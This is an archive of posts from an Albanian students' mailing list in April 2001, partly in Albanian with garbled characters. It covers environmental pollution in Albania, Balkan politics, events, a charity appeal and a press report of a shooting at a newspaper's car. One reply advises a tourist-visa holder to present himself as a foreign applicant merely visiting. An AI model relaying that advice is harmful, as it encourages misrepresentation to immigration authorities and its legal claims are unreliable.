The Sharra rubbish tip which serves the capital, Tirana, is also poisoning the people of Albania.

Dense smoke laden with toxic dust from rubbish burnt at the dump billows for miles around.

Unep has urged the Albanian authorities to take urgent measures to start dealing with its catastrophic catalogue of environmental degradation, and is urging the international community to take notice.

Albania, which has suffered from instability verging on anarchy for the past 10 years and is reeling under the burden of refugees from Kosovo, lacks funds to deal with problems on this scale.

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02 Apr 01 | Country profiles
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_________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From AQeli at rushu.rush.edu Fri Apr 27 13:26:07 2001 From: AQeli at rushu.rush.edu (Albi Qeli) Date: Fri, 27 Apr 2001 12:26:07 -0500 Subject: [ALBSA-Info] helmimi i ambientit te shqiperise Message-ID: http://news.bbc.co.uk/hi/english/world/europe/newsid_1300000/1300282.stm People live in the ruins of contaminated factories Hotspots Durres: Thousands of refugees living in toxic contamination Vlore: Families and animals living in very hazardous mercury contamination Patos: Contaminated groundwater, sulphurous gas and hydrocarbon air pollution Ballsh: Oil emissions into environment contamination of local water supplies Sharra: Toxic smoke and dust from burning rubbish But rather than trying to persuade people to move out of the poison zone, the municipality has begun laying foundations for a building to house them there. Thousands of Albanians are being poisoned on a daily basis by fatal toxins in their environment, a United Nations Environment Programme (Unep) report has revealed. Toxic levels thousands of times higher than those permitted in EU states were found on land where children play, vegetables are grown and animals graze. Even the experts involved in the study were said to be shocked by the extent of the pollution. They have identified five "hotspots" which they say need immediate attention and another four they consider urgent. The lives of several thousand children and adults estimated to live in and around one of the hotspots, Durres, are said to be in grave danger. UN experts have issued alerts People, many of them refugees arriving in the town from Kosovo or from even more poverty-stricken parts of Albania, have salvaged bricks from the factory for their homes. But these are contaminated, meaning they constantly live in an atmosphere of overwhelming toxic poisons, the report says. In water from one well on the site levels of chlorobenzene - a toxin that affects the nervous system, bone marrow, liver, kidneys, blood and reproductive organs - were found to be over 4,000 times the acceptable level of some European Union countries. Milk from cows grazing on the land produced high levels of a toxin which causes liver cancer and affects the kidneys and immune system. Another cause for grave concern was the former PVC factory at Vlore, where soil samples showed mercury contamination 1,000 times the level permitted by the EU. Mercury exposure can cause permanent damage to the brain, kidneys and lungs but about 180 families live there. They graze their animals on the toxic land and feed their families with vegetables grown on it. Although the government reportedly tried to stop people living there, these attempts have been unsuccessful. Now it supplies the families with drinking water and sells them contaminated scrap metal and bricks from the factory. The Sharra rubbish tip which serves the capital, Tirana, is also poisoning the people of Albania. Dense smoke laden with toxic dust from rubbish burnt at the dump billows for miles around. Unep has urged the Albanian authorities to take urgent measures to start dealing with its catastrophic catalogue of environmental degradation, and is urging the international community to take notice. Albania, which has suffered from instability verging on anarchy for the past 10 years and is reeling under the burden of refugees from Kosovo, lacks funds to deal with problems on this scale. From kbejko at hotmail.com Fri Apr 27 13:40:47 2001 From: kbejko at hotmail.com (Kreshnik Bejko) Date: Fri, 27 Apr 2001 13:40:47 -0400 Subject: [ALBSA-Info] Te na rroje Metalugjiku Message-ID: ELBASAN - Nj? vi? me dy kok? ka lindur dit?t e fundit n? fshatin Gjocaj t? Peqinit. Vi?i ka dy kok? t? ngjitura n? qaf? dhe ushqehet me dy goj?, secila me buz?t, nofullat dhe gjuhet e ve?anta. Ai ka kat?r sy, dy hund? dhe kat?r vesh?. P?r k?t? lindje t? rrall? n? fshatin Gjocaj, 7 km. larg Peqinit, biokimisti P?llumb Cepa, pohoi p?r ATSH-n? se, kjo anomali vjen si pasoj? e keqformimeve n? genotip(ADN), duke sjell? pasoja kryesisht n? pamjen e jashtme t? gjallesave. Fenomeni i lindjeve me anomali ?sht? b?r? shqet?sues n? vitet e fundit p?r rrethin e Elbasanit, pasi brenda nj? harku kohor prej tre vitesh jan? evidentuar anomali si n? njer?z, ashtu edhe n? kafsh?. K?shtu dy vite m? par? n? maternitetin e Elbasanit nj? grua nga nj? fshat pran? qytetit solli n? jet? nj? nj? djal? me pjes?n e poshtme t? trungut t? ngjitur n? gjoks dhe me dy organe gjenitale. Nj? vit m? par? nj? grua po nga nj? fshat i Elbasanit lindi nj? f?mij?, nj? pjes? e trurit t? t? cilit ishte jasht? kafk?s. Nd?rsa tre vite m? par? n? C?rrik lindi nj? dash me kat?r brir? dhe n? fshatin Gjonme nj? vi? pa organe gjenitale. in/an (ATSH/BalkanWeb) _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From aalibali at yahoo.com Fri Apr 27 15:58:33 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Fri, 27 Apr 2001 12:58:33 -0700 (PDT) Subject: [ALBSA-Info] It-Alb cooperation in turism Message-ID: <20010427195833.50041.qmail@web11505.mail.yahoo.com> http://www.ansa.it/balcani/fattidelgiorno/20010427190263447/20010427190263447.shtml --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at law.harvard.edu Fri Apr 27 18:55:09 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Fri, 27 Apr 2001 18:55:09 -0400 Subject: [ALBSA-Info] [STUDENTORG_FLASH] "The Sufi Path"--A Conference at Harvard University Message-ID: An embedded message was scrubbed... From: hilf at law.harvard.edu Subject: [STUDENTORG_FLASH] "The Sufi Path"--A Conference at Harvard University Date: Fri, 27 Apr 2001 18:47:30 -0400 Size: 2452 URL: From mentor at alb-net.com Sat Apr 28 12:09:05 2001 From: mentor at alb-net.com (Mentor Cana) Date: Sat, 28 Apr 2001 12:09:05 -0400 (EDT) Subject: [ALBSA-Info] continuing education in the US (with a US tourist visa) Message-ID: Dear friends, I have a question in regards to continuing education in the US for a person that has entered US with a tourist visa. Hope someone can help. Can a person, that has entered the US with a tourist visa, continue high school or college education? The short answer is probably not. However, I'm looking for an answer from experiences students that might have been in such situation. What have they done to continue school (high-school, college) in the US? What if the person in question is 17 year old? Can the status of legal guardianship by US citizen help to enroll them in high-school? I think that colleges almost require that students have a status (other than a tourist) to be able to enroll. However, high-schools might not have such strong requirements. As I said above, I'm looking more for answers by people that have been in such situation or can advice on the proper course of action. Any help will be greatly appreciated! The person in question will appreciate any help in this matter! Sincerely, Mentor Cana From aalibali at law.harvard.edu Sun Apr 29 08:23:14 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Sun, 29 Apr 2001 08:23:14 -0400 Subject: [ALBSA-Info] ICG Report Message-ID: C R I S I S W E B N E W S --------------------------- Thursday, 26 April 2001 BALKANS -------------- After Milosevic A Practical Agenda for Lasting Balkans Peace ICG Balkans Report No.108 Slobodan Milosevic is gone, but he has left in the Balkans a bitter legacy of death, destruction and distrust, and the potential for renewed conflict remains dangerously high. It is vital that there be forward-looking and comprehensive action by the international community to address the continuing sources of tension. ICGs new 350-page report is a comprehensive and up-to-date attempt to map a realistic agenda for achieving lasting peace in the Balkans. The focus is on accelerating political and institutional reform, and addressing sooner rather than later the difficult remaining issues of future and final status, and minority rights, that keep holding back stability and economic growth, especially in the troubled Yugoslav trio of Serbia, Montenegro and Kosovo, and in Bosnia and Macedonia. This report is built on five years of intensive field-based analysis throughout the western Balkans. The policy ideas contained in it grow out of the experience gleaned in the course of writing 140 earlier Balkans reports and briefing papers and discussing them with policy makers in the region and around the world. The complete text of the report may be downloaded in pdf format from the ICG website www.crisisweb.org. The report is also available at cost (US$ 15) in printed paperback book form. Click here: www.crisisweb.org/projects/book.cfm for ordering details. ------------------------------------- CrisisWeb - http://www.crisisweb.org From juniku at hotmail.com Sun Apr 29 12:40:52 2001 From: juniku at hotmail.com (juniku at hotmail.com) Date: Sun, 29 Apr 2001 09:40:52 -0700 Subject: [ALBSA-Info] MSNBC News Link: Macedonia: Inside a Rebel Camp Message-ID: <00ad01c0d0cb$272e0600$24eec90a@tknbcwbe01> Uk Lushi sent you this MSNBC News Link: ** Macedonia: Inside a Rebel Camp ** Juliette Terzieff gets a rare glimpse of the shadowy National Liberation Army--and interviews a commander about the guerrillas' future plans. A Web exclusive http://www.msnbc.com/modules/exports/ct_email.asp?/news/565573.asp ______________________________________________________________________ Check out the hour's top stories on MSNBC.com From aalibali at yahoo.com Mon Apr 30 09:59:12 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 30 Apr 2001 06:59:12 -0700 (PDT) Subject: [ALBSA-Info] Kadare Message-ID: <20010430135912.60633.qmail@web11501.mail.yahoo.com> Botohet p?r her? t? par? n? shqip, romani i par? i shkrimtarit t? mir?njohur Ismail Kadare. ?Qyteti pa reklama? eshte shkruar ne Moske ne 1959. I shkruar kur Kadare ishte student n? Institutin ?Gorki? n? Mosk?, romani ?Qyteti pa reklama? ?sht? vepra e par? e Kadares?, q? e cileson k?t? vep?r, si ur?n e v?rtet? q? lidhi p?rfundimisht jet?n e tij me let?rsin?. Sic tregon dhe vet? shkrimtari I mir?njohur, kandidat p?r cmimin Nobel, ?Qyteti pa reklama? ka shum? t? vecanta dhe secrete. Romani, u p?rvijua n? mendjen e tij, n? mosh?n e bukur dhe t? vrullshme t? jet?s studentore, dhe fillimisht u hodh n? shiritin e nj? magnetofoni nd?rsa m? von?, Kadare tregon se gjeti d?shir?n dhe vullnetin p?r ta shkruar dhe p?rfunduar. Romani, ?sht? prezantuar fillimisht si nj? tregim n? gazet?n e at?her?shme ?Z?ri I Rinis??, por kritik?t e asaj kohe e kritikuan at? p?r ndikimin decadent n? p?rmbajtje dhe form?. M? von?, nj? pjes? e ?Qytetit pa reklama? u botua n? p?rmbledhjen :?Ftes? n? studio? p?r t?u sjell? tashm? i plot? me 80 faqe, nga shtepia botuese "Onufri". Megjithat? edhe pse romani nuk ?sht? botuar m? par? tek ne, lexuesit francez dhe ata grek , jan? njohur me koh? me k?t? vep?r t? shkrimtarit t? mir?njohur shqiptar, pasi romani ?sht? botuar para disa vitesh n? disa fr?ngjisht dhe greqisht. Nd?rsa p?r botimin e tij n? gjuh?n shqipe, botuesit tregojn? se Kadare nuk ka ndryshuar asgje nga teksti i Moskes, duke gjykuar se ishte e pamundur te ndreqte dicka ne nje liber qe ishte shkruar me stil te ndryshem nga romanet e mevonshme dhe qe keshtu ruan vleren dhe shijen e nje kujtimi te larget t? rinis? s? shkrimtarit t? madh shqiptar. Eva Simoni --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From eribudo at hotmail.com Mon Apr 30 11:20:06 2001 From: eribudo at hotmail.com (ERI Budo) Date: Mon, 30 Apr 2001 15:20:06 -0000 Subject: [ALBSA-Info] 2001 Harvard Colloquium on International Affairs Message-ID: forwarded message ---------------------------------------------------------------------- >>Dear IAS Friends, >> >>I thought many of you might be interested in the following event in Boston >>this coming weekend. For those who can't attend in person, note that >>there's a live webcast as well. >> >>Cheers, >> >>Neal. >> >>---------------------------------------------------------------------------- >>------------- >> >> >>THE 2001 HARVARD COLLOQUIUM ON INTERNATIONAL AFFAIRS >>"A New American Foreign Policy? Global Voices, Challenges & >>Opportunities" >> >>Harvard University, May 3-5, 2001 >> >> >>Full schedule at http://www.wcfia.harvard.edu/colloquium >>All events are free, open to the public & will be broadcast over our >>website >> >>------------------------------------------ >> >>* Dr. Jorge Casta?eda, Mexico's Secretary of Foreign Affairs, discusses >>U.S.-Mexican relations >> >>* The CEO of Merck, the U.S. Government's most senior international health >>advisor, and Professor Jeffrey Sachs discuss international health policy >> >>* The Director of Human Rights Watch and the top economic adviser to the >>French Prime Minister discuss the Bush Administration's approach toward >>international organizations >> >>* General Charles G. Boyd leads a discussion of national secuity reform >>among members of the Hart-Rudman Commission >> >>* The former commander of U.S. forces in Bosnia, the United States' >>alternative representative to the UN, and author Michael Ignatieff discuss >>humanitarian intervention >> >>And over 15 other discussions on the foremost topics of international >>affairs and American foreign policy. Please visit our website for a full >>schedule and list of panelists. > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From mehollim at hotmail.com Mon Apr 30 18:40:06 2001 From: mehollim at hotmail.com (Mimoza Meholli) Date: Mon, 30 Apr 2001 18:40:06 Subject: [ALBSA-Info] Fwd: Youth Activist Training Institute for Southeastern Europe Message-ID: >>THE SOUTH EASTERN EUROPE YOUTH ORGANIZING INSTITUTE >>A training program for social change activists, June 17-30, 2001, Vukovar, >>Croatia >> >>WHY? >>An enormous amount of untapped potential rests within the youth population >>who remain in the war-torn regions of the former Yugoslavia. The Youth >>Organizing Institute was founded with one basic goal in mind-to help young >>community organizers to become more effective in bringing about change. >> >>The Youth Organizing Institute operates under that assumption that all of >>the participants carry the expertise to bring about significant change in >>their home communities. The school seeks young people who desire to change >>their communities for the better, who want to eliminate oppressive >>structures and organizations that inhibit community progress, and who wish >>to learn and apply non-violent strategies for social change. >> >>WHO? >>At this time the Youth Organizing Institute is recruiting teams and >>individuals from Albania, Bulgaria, Bosnia-Herzegovina, Croatia, Federal >>Republic of Yugoslavia (including Kosovo and Montenegro), Hungary, >>Macedonia, and Romania. The 50 participants, ages 18 to 28, will represent >>a >>microcosm of the multi-ethnic South Eastern Europe, with youth from >>Catholic, Muslim, Orthodox, Roma and inter-ethnic backgrounds. >> >>The two-week Institute (June 17-30, 2001) will be facilitated by community >>activists who bring experience in training young leaders from across the >>Balkans and around the world (Cambodia, South Africa, The Bronx, and the >>Balkans, to name a few). The Institute will also include a theater group >>whose social and political approaches to theater will be integrated into >>the >>teaching philosophy of the school. The trainers will be intergenerational, >>interethnic, inter-religious, and they will not advocate particular >>political perspectives. In this, the team of instructors themselves will >>model how people from diverse political, religious and ethnic backgrounds >>can build community and create programs to generate change. >> >>IS THIS FOR YOU? >>This is a school for individuals who want to take risks, who are willing >>to >>work hard and in the process gain skills that will help them become more >>effective at home. No one type of person is best suited for this >>Institute. >>One group may be attempting to organizing a local radio station, others >>may >>be starting their own NGOs, a few may be hoping to become more politically >>active, while others may be running youth centers, and some might be >>tackling complex issues such as environmental destruction as a result of >>wars. A few may be highly advanced in community activism techniques; >>others >>will be green to the concepts. The range of individuals and projects that >>will comprise the summer Youth Organizing Institute community will vary. >>The >>workshops will be instructed in English; a working knowledge of the >>English >>language is expected. >> >>Simply put, those who are selected work with community organizers from >>across the planet, develop new skills, work hard and return to their >>communities equipped to implement a project. The school incorporates many >>styles of teaching and learning to include traditional lectures, theater, >>music, film, interactive workshops, technology-and struggle. You will work >>hard, play hard, and we promise you will have fun. >> >>We are seeking individuals who are passionate, who want to break down >>oppressive structures holding back their communities, and who are open to >>learning new techniques for community organizing. If you are seeking to >>organize a project within your community and want to gain knowledge and >>skills on how to be more effective please apply. Small grants will be made >>available to those projects that show potential for affecting change. >> >>SPONSORS >>The South Eastern Europe Youth Organizing Institute has been developed by >>the Center for Constitutional Studies and Democratic Development (CCSDD), >>a >>project of The Johns Hopkins University Bologna Center and The University >>of >>Bologna Faculty of Law, in collaboration with the Vukovar Institute for >>Peace Research and Education (VIMIO). It is funded by the Network of Soros >>Foundations. >> >> >>Mahatma Gandhi >> >>---------------------------------------------------------------------------- >>---- >>"I have nothing new to teach the world. Truth and Non-Violence are as old >>as >>the hills" >> >> >> >> >> >> >> >> Yahoo! Groups Sponsor >> >> >> >>_____________________________________________________________________ >>This is the ceescholarships list. To subscribe or unsubscribe or >>change to a digest/web based subscription login with your password >>and e-mail at groups.yahoo.com and proceed to the mygroups page. You >>can also unsubscribe by sending an e-mail to >>ceescholarships-unsubscribe at yahoogroups.com If you have questions >>you may contact the list owner at >>ceescholarships-owner at yahoogroups.com or consult the help desk. >>_____________________________________________________________________ >> >>Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >> >> >>_________________________________________________________________ >>Get your FREE download of MSN Explorer at http://explorer.msn.com > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From kruja at fas.harvard.edu Mon Apr 30 14:41:56 2001 From: kruja at fas.harvard.edu (Eriola Kruja) Date: Mon, 30 Apr 2001 14:41:56 -0400 (EDT) Subject: [ALBSA-Info] continuing education in the US (with a US tourist visa) In-Reply-To: Message-ID: Hi Mentor, >From my personal and the experience of others around me you can enroll in any public high school without providing any sort of visa or status information. (there are many students whose parents are illigal immigrants in US high schools). You can also enroll in a college or university provided you are accepted. Upon acceptance the univ. will issue the student an I-20 which he/she can use to change their visa status from a tourist visa to a student visa (F-1). When applying to college he should state that he is applying as a foreing student (from Albania I presume in this case), and he just happens to be visiting the US at the time of his application.... I mean after all he took this trip to visit some American universities before deciding if he wanted to apply to them. ;) best, eriola. On Sat, 28 Apr 2001, Mentor Cana wrote: > ----------- ALBSA-Info Mailing List --------- > - ALBSA Web Site: http://www.albstudent.org - > > Dear friends, > > I have a question in regards to continuing education in the US for a person > that has entered US with a tourist visa. Hope someone can help. > > Can a person, that has entered the US with a tourist visa, continue high > school or college education? > > The short answer is probably not. However, I'm looking for an answer from > experiences students that might have been in such situation. What have they > done to continue school (high-school, college) in the US? What if the > person in question is 17 year old? Can the status of legal guardianship > by US citizen help to enroll them in high-school? > > I think that colleges almost require that students have a status (other > than a tourist) to be able to enroll. However, high-schools might not have > such strong requirements. > > As I said above, I'm looking more for answers by people that have been > in such situation or can advice on the proper course of action. > > Any help will be greatly appreciated! > > The person in question will appreciate any help in this matter! > > Sincerely, > Mentor Cana > > > _______________________________________________________ > ALBSA-Info mailing list: ALBSA-Info at alb-net.com > http://www.alb-net.com/mailman/listinfo/albsa-info > From aalibali at yahoo.com Mon Apr 30 17:27:17 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 30 Apr 2001 14:27:17 -0700 (PDT) Subject: [ALBSA-Info] Albanian violinist in concert Message-ID: <20010430212717.44214.qmail@web11502.mail.yahoo.com> Boston Conservatory, Concert Room, 8 Fenway, Boston, MA, 02215 May 1st, 8: 30pm Etleva Hima presents Graduate Violin Recital In program: Bach 2nd Sonata for Violin Solo (entier) Mozart Concerto in A Major Strauss Sonata for Violin and Piano op 18, Wieniavsky Scherzo Tarantelle, op 16 Piano: Timothy Bozarth Admission: Free __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From aalibali at yahoo.com Mon Apr 30 23:52:30 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 30 Apr 2001 20:52:30 -0700 (PDT) Subject: [ALBSA-Info] Shekulli Message-ID: <20010501035230.96099.qmail@web11502.mail.yahoo.com> Kryetari i PD-s? akuzon Qeverin? se po shkel t? drejtat e pakica etnike ne vend Regjistrimi, Berisha p?rkrah OMONIA-n TIRAN? - Berisha p?rkrah k?rkesat e pakicave n? k?rkesat e tyre p?r sh?nimin e komb?sis? gjat? procesit t? regjistrimit t? popullsis?. Kryetari i PD-s? ka mb?shtetur k?rkesat e organizat?s minoritare OMONIA duke d?nuar nj?koh?sisht qeverin? "Meta", e cila sipas tij ka injoruar z?rin e pakicave n? vend duke mos pranuar q? n? regjistrat e popullsis? t? sh?nohet edhe p?rkat?sia e tyre etnike, duke shkuar n? kahje t? kund?rt me t? drejtat e njeriut dhe t? minoriteteve. Sipas tij, mosmarrja parasysh e k?rkes?s s? k?tyre t? fundit p?r p?rfshirjen e komb?sis? gjat? regjistrimit, ?sht? c?nim i t? drejtave t? njeriut dhe t? pakicave komb?tare. Berisha tha se mohimi i k?saj t? drejte p?r shtetasit shqiptar? me komb?si joshqiptare, e b?n k?t? proces jotransparent dhe jasht? standarteve evropiane. Sipas Berish?s, ky regjistrim ?sht? mb?shtetur n? kushtetut?n komuniste t? vitit 1976 dhe c?non lirit? dhe t? drejtat e pakicave komb?tare. "Duke mos sh?nuar p?rkat?sin? etnike t? qytetar?ve, e drejt? kjo e dh?n? q? nga vitet '13 e deri n? '70-?n, e mohuar n? kushtetut?n staliniste t? vitit 76, qeveria Meta c?non r?nd? interesin komb?tar t? shqiptar?ve",- pohoi Berisha n? nj? propononcim p?r shtypin. Sipas tij, mohimi i k?saj t? drejte p?r pakicat komb?tare q? jetojn? n? Shqip?ri jo vet?m shkel parimet themelore demokratike por krijon probleme serioze p?r integrimin e vendit n? institucionet demokratike. "Ajo bie ndesh me konvent?n evropoane t? t? drejtave t? njeriut dhe konvent?n nd?rkomb?tare t? lirive dhe t? drejtave t? pakicave etnike t? n?nshkruara nga shteti shqiptar", - shtoi kryetari i PD-s?. Berisha sqaroi se c?nimi i k?tyre t? drejtave n? momentin q? Shqip?ria ka aplikuar p?r n?nshkrimin e marr?veshjes s? bashk?punim asocimit t? B?shkimin Evropian si dhe vazhdon t? jet? n? monitorim t? plot? nga organizmat nd?rkomb?tare p?rsa i p?rket proceseve t? saj demokratike, e rrezikon thell?sisht vendin. Duke e konkretizuar k?t? Berisha pohon se "Shqip?ria rrezikon thell?sisht angazhimin e saj t? fituar n? K?shillin e Evrop?s dhe largohet me afat t? pacaktuar nga marr?veshja e associmit me Bashkimin Evropian". "PD, si njw parti qw nw themel tw programit tw saj ka liritw dhe tw drejtat e individit dhe tw pakicave duke qenw prerw kundwr ?do manipulimi politik me kwtoliri dhe tw drejta konsideorn si interes jetik dhe kombwtar shndrimin e Shqipwrisw nw modelin e trajtimit tw pakica kombwtare", -thuhet nw deklaratwn e lexuar nga vetw Berisha dje nw konferencwn e shtypit. Regjistrimi Procesi i regjistrimit t? popullsis? ?sht? kund?rshtuar nga p?rfaq?suesit e pakicave gjat? muajit prill, pasi sipas tyre nuk sh?nohet p?rkat?sia etnike dhe fetare e qytetar?ve t? regjistruar, P?rfaq?sues t? organizat?s OMONIA u kan? b?r? thirrje pakicave q? ta bojkotojn? regjistrimin n? disa ozna n? Jug t? vendit, por burime zyrtare nga INSTAT kan? deklaruar se deri tani ?sht? regjistruar mbi 90 p?r qind e popullsis?. P?rfaq?sues t? organizat?s OMONIA kan? pasur edhe nj? takim me Kryeministrin Meta, i cili i ka sqaruar ata se ky lloj regjistrimi ?sht? m? tep?r nj? proces regjistrimi, i fokusuar n? planmin ekonomik, por nuk ?sht? arritur ndonj? mir?kuptim. Meta ka premtuar se k?rkesat e OMONIA-s ishin t? realizueshme n? nj? proces tjet?r , ku t? do p?rfshiheshin edhe k?rkesat e tyre. Megjithat? banor?t e disa zonave minoritare n? Jug t? vendit kan? refuzuar t? rregjistrohen. Procesi i regjistrimit, i planifikuar t? zgjas? 1 muaj ?sht? financuar nga K?shilli i Evrop?s dhe kap nj? vler? prej .2 milion euro. K?saj shume i jan? shtuar edhe 30 mij? euro t? tjera nga qeveria shqiptare. Ky ?sht? rregjistri i par? i popullsis? gjat? viteve t? demokracis? si dhe i pari q? prej vitit 1974. Q? prej k?tij viti, nuk ka patur ndonj? rregjistrim komb?tar, vecse rregjistrimit q? kryhej n? bashki gjat? pashaportizimti t? familjeve. Por edhe ky regjistrim nuk ka qen? i rregullt pasi nd?rkoh? q? qytetar?t b?nin pashaportizimin n? nj? qytet tjet?r ku vendoseshin, ata nuk b?nin crregjistrimin nga qytetiti i tyre i m?parsh?m. T? dh?nat e rregjistrimit m? t? ri komb?tar, do t? merren pas p?rpunimit t? tyre nga zyrat e INSTAT Eva Londo --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From rlukaj at bear.com Wed Apr 11 14:33:57 2001 From: rlukaj at bear.com (Lukaj, Richard (Exchange)) Date: Wed, 11 Apr 2001 14:33:57 -0400 Subject: [ALBSA-Info] FW: Hands of Hope Fundraising Campaign for Children Message-ID: As you may be well aware, the children in the Balkans have been suffering through political and economic instability for over two decades. In the past few years, this has been further exacerbated by the conflicts throughout the region which rage on even today. Regardless of anyone's views of who is to blame or what should be done in the region politically, economically or otherwise, I believe the children of the region deserve our support if there is ever to be hope for this region of Europe. Hands of Hope is a campaign that was created by a group of philanthropic people who want to make a difference for these children. Our "poster child" is a young boy who is a mine victim who lost both of his arms. Hands of Hope would like to assist this child by getting prosthetic limbs for him and restoring hope for his future. We would like to finance the rehabilitation of a pediatric center in Kosova to help the many children that are in dire need of medical assistance. In addition, we would like to establish an orphans fund to help the children that have lost one or both of their parents during recent conflicts. Some of the orphaned infants are the product of rape victims that have no parents that will claim them, so we may be their last hope for support. I know you are inundated with requests for support and have appreciated your support in the past, but I feel it necessary to pursue this aid for children that I know need it and deserve it. The attachments are a PDF file with literature that describes the Hands of Hope Campaign and the upcoming Golf Tournament and our Web Site Link. Thank you for your consideration. Richard Lukaj P.S. If you are aware of anyone else who might be interested or can help with this project, please forward this information to them. http://www.handofhope.org/ IN FURTHERANCE OF ITS POLICY OF ENCOURAGING CHARITABLE GIVING, BEAR,STEARNS & CO. INC. IS ALLOWING THE USE OF ITS OFFICE FOR THE ENCLOSED CHARITABLE SOLICITATION. THE FIRM PASSES NO JUDGEMENT ON THE REQUEST OR THE ORGANIZATION INVOLVED. PARTICIPATION IS ENTIRELY VOLUNTARY. YOU SHOULD NOT FEEL ANY OBLIGATION OR PRESSURE TO CONTRIBUTE. IF YOU ARE NOT INTERESTED, SIMPLY IGNORE THE REQUEST. THE MANAGEMENT & COMPENSATION COMMITTEE -------------- next part -------------- [ The following attachment was DELETED when this message was saved: ] [ A Application/OCTET-STREAM (Name="HOH GolfBenefit.pdf") segment of a ] From tema at albaniaonline.net Mon Apr 9 09:21:02 2001 From: tema at albaniaonline.net (Mero) Date: Mon, 9 Apr 2001 15:21:02 +0200 Subject: [ALBSA-Info] Shkirme ta gazetes Tema E diel 8 prill Message-ID: <000b01c0c0f8$1d2bb540$6ba6fea9@mero> Ekspert?t e kriminalistik?s pohojn? se makina e "TemA" ?sht? goditur me predh? Ministria e Rendit t? p?rcaktoj? llojin e arm?s Predha q? ka goditur makin?n ka shkaktuar nj? vrim? me p?rmasa 7.3 mm n? hyrje dhe 8 mm n? dalje, nd?rsa ata jan? shprehur se plumbi mund t? jet? modifikuar. Nga kjo vrim? q? ka shkaktuar mund t? pohohet se njeriu q? ka q?lluar ka qen? jo m? larg se 20 metra dhe ka qen? n? l?vizje. Qitja ?sht? e fresk?t dhe kjo tregohet edhe nga niveli i ndryshkut q? ka z?n? makina Nga Gjergj Koja Ekspert? t? policis? kan? pohuar dje se makina e gazet?s "TemA" ?sht? goditur nga nj? plumb, nd?rsa ata kan? dh?n? si version paraprak se arma me t? cil?n ?sht? goditur mund t? ket? qen? pistolet? e tipit Zastava apo Makarov. Sipas ekspert?ve t? policis?, predha q? ka goditur makin?n ka shkaktuar nj? vrim? me p?rmasa 7. 3 mm n? hyrje dhe 8 mm n? dalje, nd?rsa ata jan? shprehur se plumbi mund t? jet? modifikuar. Ajo q? pranohet si nga ekspert?t e Ministris? s? Rendit po ashtu edhe nga ekspert?t privat? ?sht? fakti se makina me t? cil?n ka l?vizur kryeredaktori i gazet?s ?sht? q?lluar nga nj? predh?. N? or?t e para t? m?ngjesit t? dit?s s? djeshme, makina i ?sht? n?nshtruar nj? ekspertimi nga disa ekspert? privat?, t? cil?t kan? dal? n? konkluzionin se predha q? ka goditur makin?n ka dal? nga arm? zjarri, nd?rsa ata kan? dh?n? dy versione: arma ka qen? pistolet? tip Zastava ose Makarov, nd?rsa pohojn? se plumbi i dal? nga k?to arm? ka qen? i modifikuar. Sipas tyre, makina ?sht? q?lluar kur ka qen? n? l?vizje, nd?rsa edhe personi q? ka q?lluar ka qen? n? l?vizje. "Nga kjo vrim? q? ka shkaktuar mund t? pohohet se njeriu q? ka q?lluar ka qen? jo m? larg se 20 metra dhe n? l?vizje. Qitja ?sht? e fresk?t dhe kjo tregohet edhe nga niveli i ndryshkut q? ka z?n? makina"- jan? shprehur dje disa punonj?s policie t? cil?t privatisht kan? shqyrtuar vendin n? t? cilin ?sht? goditur makina. Ata kan? pohuar se makina ?sht? q?lluar nga nj? vend me lart?si m? t? lart? se niveli n? t? cilin ka q?lluar predha, nd?rsa shtojn? se arma mund t? ket? qen? e drejtuar n? nivelin e xhamit, por p?r shkak t? l?vizjes s? autorit apo p?r shkak t? humbjes s? ekuilibrit ka l?vizur edhe arma, e cila ka q?lluar n? kapakun e pasm? t? makin?s. "N? radh? t? par?, duhet t? p?rcaktohet arma me t? cil?n ?sht? goditur, ndon?se p?r ne ?sht? Zastava ose Makarov. Duhet t? p?rcaktohet larg?sia, ndon?se p?r ne nuk ?sht? m? shum? se 20 metra, si dhe n? ?'pozicion ka qen? atentatori, pra n?se ka qen? n? l?vizje ose jo. T? gjitha k?to duhet t? p?rcaktohen nga laboratori kriminalistik i Ministris? s? Rendit. Megjithat?, ajo q? ?sht? e sigurt ?sht? fakti se makina ?sht? q?lluar nga nj? predh?",-shprehen ekspert?t policor?. Sipas tyre, duke par? edhe vrim?n q? ka shkaktuar plumbi ?sht? q?lluar direkt, pra p?rjashtohet pista se ai mund t? jet? n? gjendje t? lir? ose i th?n? ndryshe nj? plumb qorr. Policia nguron t? thot? t? v?rtet?n M? pas, makina i ?sht? n?nshtruar nj? ekspertimi nga ekspert?t e Ministris? s? Rendit, t? cil?t fillimisht nuk kan? pranuar faktin se makina ?sht? q?lluar nga nj? predh?, por vrima n? t? ?sht? hapur me nj? mjet rrethanor, p. sh me nj? trapan. Ky ishte konkluzioni i nj? polici, i cili erdhi n? zyrat e redaksis? p?r t? b?r? nj? ekspertim par?sor. M? pas, ai ?sht? shprehur se ?sht? goditur me arm? zjrari, por ka parashtruar dy versione: ose ka qen? plumb qorr, ose arma ka qen? sportive. "Nuk ka plumb q? mund t? shkaktoj? nj? shenj? t? till? me k?t? diamet?r"-ka pohuar nj? nga oficer?t e policis?. Por shum? shpejt konkluzioni i tij ?sht? hedhur posht? nga disa koleg? t? tjer? t? tij?t, t? cil?t n? v?shtrimin e par? jan? shprehur se automjeti ?sht? goditur me arm? zjarri. "Ne nuk mund t? shprehemi se me ?far? arme ?sht? goditur, n? ?'larg?si ?sht? goditur apo kur ka ndodhur ngjarja"-jan? shprehur ekspert?t e Ministris? s? Rendit, t? 